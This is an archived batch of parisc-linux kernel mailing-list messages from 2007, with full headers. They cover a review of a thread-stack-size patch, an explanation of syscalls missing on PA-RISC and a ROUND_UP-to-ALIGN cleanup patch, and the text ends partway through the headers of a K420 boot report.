parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] limit thread stack size with >4K pages
Date: Sat, 17 Mar 2007 08:47:44 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <1174139264.3476.1.camel__33272.1682418652$1416624328$gmane$org@mulgrave.il.steeleye.com>
References: <200703171323.06002.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624328 23500 80.91.229.3 (22 Nov 2014 02:45:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@mcmartin.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <James.Bottomley@SteelEye.com>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Mar 2007 13:47:49 -0000
Original-Received: from hancock.steeleye.com (EHLO hancock.sc.steeleye.com) [71.30.118.248]
  by mx0.gmx.net (mx081) with SMTP; 17 Mar 2007 14:47:49 +0100
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l2HDljx07139;
	Sat, 17 Mar 2007 08:47:45 -0500
In-Reply-To: <200703171323.06002.deller@gmx.de>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: scPJdptAPTRts+jGPjIwD9Mxc2tpZAsb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24448

On Sat, 2007-03-17 at 13:23 +0100, Helge Deller wrote:
> -#define THREAD_ORDER            2
> +#if defined(CONFIG_PARISC_PAGE_SIZE_4KB)
> +# define THREAD_ORDER  2
> +#elif defined(CONFIG_PARISC_PAGE_SIZE_16KB)
> +# define THREAD_ORDER  0
> +#elif defined(CONFIG_PARISC_PAGE_SIZE_64KB)
> +# define THREAD_ORDER  0
> +#endif

That's a bit ugly ... and would break if someone added new page sizes.
Can't we do something like

#if PAGE_BITS > 16
#define THREAD_ORDER 0
#else
#define THREAD_ORDER (16 - PAGE_BITS)
#endif

?

James



From - Thu Nov 08 21:35:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] missing system calls ?
Date: Sat, 17 Mar 2007 11:01:18 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <20070317150117.GA10950__47374.9995734126$1416624328$gmane$org@athena.road.mcmartin.ca>
References: <200703171348.56311.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624328 23504 80.91.229.3 (22 Nov 2014 02:45:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@athena.road.mcmartin.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Mar 2007 15:02:54 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx003) with SMTP; 17 Mar 2007 16:02:54 +0100
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 861CD5840CA;
	Sat, 17 Mar 2007 11:02:51 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EA3C75840C9;
	Sat, 17 Mar 2007 11:02:50 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca [206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca", Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 70A2E837DD;
	Sat, 17 Mar 2007 11:02:50 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id D31B53B06E; Sat, 17 Mar 2007 11:01:17 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200703171348.56311.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KDvJceY9Rkke1KuPfGRqvXFmdWkvKBM5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24449

On Sat, Mar 17, 2007 at 01:48:56PM +0100, Helge Deller wrote:

> init/missing_syscalls.h:203:3: warning: #warning syscall sigaction not implemented
> init/missing_syscalls.h:218:3: warning: #warning syscall sigsuspend not implemented
> init/missing_syscalls.h:359:3: warning: #warning syscall sigreturn not implemented

We don't support non-realtime signals (the syscalls are rt_*)

> init/missing_syscalls.h:68:3: warning: #warning syscall umount not implemented

umount2

> init/missing_syscalls.h:248:3: warning: #warning syscall select not implemented

newselect

> init/missing_syscalls.h:269:3: warning: #warning syscall readdir not implemented

obsolete

> init/missing_syscalls.h:308:3: warning: #warning syscall socketcall not implemented

we don't use the socketcall multiplexer (presumably because we don't need
to put the args on the stack) for socket/bind/connect/ etc...

> init/missing_syscalls.h:353:3: warning: #warning syscall ipc not implemented

same story as socketcall, obsolete multiplexed syscall

> init/missing_syscalls.h:749:3: warning: #warning syscall fadvise64 not implemented

sys_fadvise64_64 versus fadvise64 is a reordering of syscall args, presumably
because loff_t is 64bit and needs to be passed in pairs.

> init/missing_syscalls.h:800:3: warning: #warning syscall statfs64 not implemented
> init/missing_syscalls.h:803:3: warning: #warning syscall fstatfs64 not implemented

Your kernel is too old. 2.6.21-rc3 has this.

> init/missing_syscalls.h:809:3: warning: #warning syscall utimes not implemented

Dunno about this one. sys_utimes seems to just call futimesat anyways.

> init/missing_syscalls.h:845:3: warning: #warning syscall kexec_load not implemented

nobody's implemented kexec yet. :)

Cheers,
	Kyle



From - Thu Nov 08 21:35:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] limit thread stack size with >4K pages
Date: Sat, 17 Mar 2007 12:23:32 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20070317162332.GB10950__24221.719420939$1416624329$gmane$org@athena.road.mcmartin.ca>
References: <200703171323.06002.deller@gmx.de> <1174139264.3476.1.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624329 23505 80.91.229.3 (22 Nov 2014 02:45:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:29 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@mcmartin.ca>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@athena.road.mcmartin.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Mar 2007 16:25:09 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx056) with SMTP; 17 Mar 2007 17:25:09 +0100
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9F4785840C2;
	Sat, 17 Mar 2007 12:25:03 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2B08A5840BF;
	Sat, 17 Mar 2007 12:25:03 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca [206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca", Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id C097D837DD;
	Sat, 17 Mar 2007 12:25:02 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 22F223B06E; Sat, 17 Mar 2007 12:23:32 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1174139264.3476.1.camel@mulgrave.il.steeleye.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XiTFcJE6eWU77beUfHVz6go5U3U4N49E
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24450

On Sat, Mar 17, 2007 at 08:47:44AM -0500, James Bottomley wrote:
> That's a bit ugly ... and would break if someone added new page sizes.
> Can't we do something like
> 
> #if PAGE_BITS > 16
> #define THREAD_ORDER 0
> #else
> #define THREAD_ORDER (16 - PAGE_BITS)
> #endif
> 

Nice.



From - Thu Nov 08 21:35:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] missing system calls ?
Date: Sun, 18 Mar 2007 12:51:10 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <200703181251.10536.deller__27953.2912456945$1416624329$gmane$org@gmx.de>
References: <200703171348.56311.deller@gmx.de>
	<20070317150117.GA10950@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624329 23509 80.91.229.3 (22 Nov 2014 02:45:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Mar 2007 11:51:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 18 Mar 2007 12:51:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5FDF7DA37;
	Sun, 18 Mar 2007 05:51:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06400-09; Sun, 18 Mar 2007 05:51:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 710BD7DA3E;
	Sun, 18 Mar 2007 05:51:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2B3F7DA33
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Mar 2007 05:51:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06400-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Mar 2007 05:51:14 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id AD4A47DA00
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Mar 2007 05:51:13 -0600 (MDT)
Original-Received: (qmail invoked by alias); 18 Mar 2007 11:51:12 -0000
User-Agent: KMail/1.9.6
In-Reply-To: <20070317150117.GA10950@athena.road.mcmartin.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jhDPdJ5fIyd1r/qQe2drbVFaa2FkZpWK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24451

On Saturday 17 March 2007, Kyle McMartin wrote:
> On Sat, Mar 17, 2007 at 01:48:56PM +0100, Helge Deller wrote:
> 
> > init/missing_syscalls.h:203:3: warning: #warning syscall sigaction not implemented
> > init/missing_syscalls.h:218:3: warning: #warning syscall sigsuspend not implemented
> > init/missing_syscalls.h:359:3: warning: #warning syscall sigreturn not implemented
> 
> We don't support non-realtime signals (the syscalls are rt_*)
> 
> > init/missing_syscalls.h:68:3: warning: #warning syscall umount not implemented
> 
> umount2
> 
> > init/missing_syscalls.h:248:3: warning: #warning syscall select not implemented
> 
> newselect
> 
> > init/missing_syscalls.h:269:3: warning: #warning syscall readdir not implemented
> 
> obsolete
> 
> > init/missing_syscalls.h:308:3: warning: #warning syscall socketcall not implemented
> 
> we don't use the socketcall multiplexer (presumably because we don't need
> to put the args on the stack) for socket/bind/connect/ etc...
> 
> > init/missing_syscalls.h:353:3: warning: #warning syscall ipc not implemented
> 
> same story as socketcall, obsolete multiplexed syscall
> 
> > init/missing_syscalls.h:749:3: warning: #warning syscall fadvise64 not implemented
> 
> sys_fadvise64_64 versus fadvise64 is a reordering of syscall args, presumably
> because loff_t is 64bit and needs to be passed in pairs.
> 
> > init/missing_syscalls.h:800:3: warning: #warning syscall statfs64 not implemented
> > init/missing_syscalls.h:803:3: warning: #warning syscall fstatfs64 not implemented
> 
> Your kernel is too old. 2.6.21-rc3 has this.
> 
> > init/missing_syscalls.h:809:3: warning: #warning syscall utimes not implemented
> 
> Dunno about this one. sys_utimes seems to just call futimesat anyways.
> 
> > init/missing_syscalls.h:845:3: warning: #warning syscall kexec_load not implemented
> 
> nobody's implemented kexec yet. :)

Thanks Kyle !

So parisc-linux has all important (and currently on PA possible) syscalls wired up.
Nice to know.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Milind Arun Choudhary <milindchoudhary@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [KJ][PATCH] ROUND_UP macro cleanup in arch/parisc
Date: Sun, 1 Apr 2007 13:06:46 +0530
Lines: 77
Approved: news@gmane.org
Message-ID: <20070401073646.GA11444__28054.0288346403$1416624329$gmane$org@arun.site>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624329 23516 80.91.229.3 (22 Nov 2014 02:45:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:29 +0000 (UTC)
Cc: willy@debian.org,
 linux-kernel@vger.kernel.org,
 kyle@mcmartin.ca,
 akpm@linux-foundation.org,
 parisc-linux@lists.parisc-linux.org
To: kernel-janitors@lists.osdl.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Apr 2007 22:16:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 03 Apr 2007 00:16:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01FE77DA89;
	Mon,  2 Apr 2007 16:16:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00353-05; Mon, 2 Apr 2007 16:16:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7FD6B7DA6D;
	Mon,  2 Apr 2007 16:16:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E24A57DA17
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 Apr 2007 01:35:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12969-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 Apr 2007 01:35:50 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.175])
	by free.linux.hp.com (Postfix) with ESMTP id E3D677DA02
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 Apr 2007 01:35:49 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id c2so1400030ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 01 Apr 2007 00:35:48 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:date:from:to:cc:subject:message-id:mime-version:content-type:content-disposition:user-agent;
	b=DFlOLLfjQIFvn3YZUnjy4klpJPxu7V5lKzqz87G9qmf4JQ1p5eYukgv89nkRN+ULHjjNMwtnTunl1wPWbnmRWthszzrNZ4tt3RUtzCWINLDitOt6avrN2eoo7XAF8K9AndLaW6K+/o226NyEVQFFU+9FoFMQrlT7FvjEqx/7wXs=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:date:from:to:cc:subject:message-id:mime-version:content-type:content-disposition:user-agent;
	b=tC1Zdfld1IG4sPvxDEwBQta+dVKRd/NPXrkfJVeqoM5kGIxTsPqP6pOXoLrrQe9EwM5e5QHfOyoetF4rk01t9rt2tXtZarR6jG3KC41+z7Fvj+N5SP5x0tuzrgMIifErQTBUMPfgQ5YxOQN/9nAxrTFy6eBPh0pXgphywqRasqM=
Original-Received: by 10.66.216.20 with SMTP id o20mr3521921ugg.1175412948714;
	Sun, 01 Apr 2007 00:35:48 -0700 (PDT)
Original-Received: from localhost ( [59.95.12.81])
	by mx.google.com with ESMTP id 5sm4133347ugc.2007.04.01.00.35.44;
	Sun, 01 Apr 2007 00:35:47 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Mon, 02 Apr 2007 16:16:20 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 97I3bs2vLi5n1PfRZWtp0L9jZml1ZJgS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24452

ROUND_UP macro cleanup, use ALIGN where ever appropriate

Signed-off-by: Milind Arun Choudhary <milindchoudhary@gmail.com>

---
 hpux/fs.c             |    5 ++---
 kernel/sys_parisc32.c |    3 +--
 2 files changed, 3 insertions(+), 5 deletions(-)



diff --git a/arch/parisc/hpux/fs.c b/arch/parisc/hpux/fs.c
index 4204cd1..7ff5546 100644
--- a/arch/parisc/hpux/fs.c
+++ b/arch/parisc/hpux/fs.c
@@ -21,6 +21,7 @@
  *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  */
 
+#include <linux/kernel.h>
 #include <linux/mm.h>
 #include <linux/sched.h>
 #include <linux/file.h>
@@ -70,7 +71,6 @@ struct getdents_callback {
 };
 
 #define NAME_OFFSET(de) ((int) ((de)->d_name - (char *) (de)))
-#define ROUND_UP(x) (((x)+sizeof(long)-1) & ~(sizeof(long)-1))
 
 static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
 		u64 ino, unsigned d_type)
@@ -78,7 +78,7 @@ static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
 	struct hpux_dirent * dirent;
 	struct getdents_callback * buf = (struct getdents_callback *) __buf;
 	ino_t d_ino;
-	int reclen = ROUND_UP(NAME_OFFSET(dirent) + namlen + 1);
+	int reclen = ALIGN(NAME_OFFSET(dirent) + namlen + 1,sizeof(long));
 
 	buf->error = -EINVAL;	/* only used if we fail.. */
 	if (reclen > buf->count)
@@ -103,7 +103,6 @@ static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
 }
 
 #undef NAME_OFFSET
-#undef ROUND_UP
 
 int hpux_getdents(unsigned int fd, struct hpux_dirent *dirent, unsigned int count)
 {
diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index ce3245f..e590880 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -311,14 +311,13 @@ struct readdir32_callback {
 	int count;
 };
 
-#define ROUND_UP(x,a)	((__typeof__(x))(((unsigned long)(x) + ((a) - 1)) & ~((a) - 1)))
 #define NAME_OFFSET(de) ((int) ((de)->d_name - (char __user *) (de)))
 static int filldir32 (void *__buf, const char *name, int namlen,
 			loff_t offset, u64 ino, unsigned int d_type)
 {
 	struct linux32_dirent __user * dirent;
 	struct getdents32_callback * buf = (struct getdents32_callback *) __buf;
-	int reclen = ROUND_UP(NAME_OFFSET(dirent) + namlen + 1, 4);
+	int reclen = ALIGN(NAME_OFFSET(dirent) + namlen + 1, 4);
 	u32 d_ino;
 
 	buf->error = -EINVAL;	/* only used if we fail.. */

-- 
Milind Arun Choudhary
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul (NCC/CS)." <pts@bom.gov.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] almost booted a K420...
Date: Thu, 12 Apr 2007 13:19:03 +1000
Organization: BOM.
Lines: 230
Approved: news@gmane.org
Message-ID: <461DA527.8FF91FC1__2951.48098744011$1416624330$gmane$org@bom.gov.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------FA5F61965C3D21BB5BB20A8B"
X-Trace: ger.gmane.org 1416624330 23524 80.91.229.3 (22 Nov 2014 02:45:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Apr 2007 03:14:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 12 Apr 2007 05:14:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B2CF7D62B;
	Wed, 11 Apr 2007 21:14:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18189-08; Wed, 11 Apr 2007 21:14:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28F937D83F;
	Wed, 11 Apr 2007 21:14:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 82C2F7D627
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Apr 2007 21:14:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18189-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Apr 2007 21:14:47 -0600 (MDT)
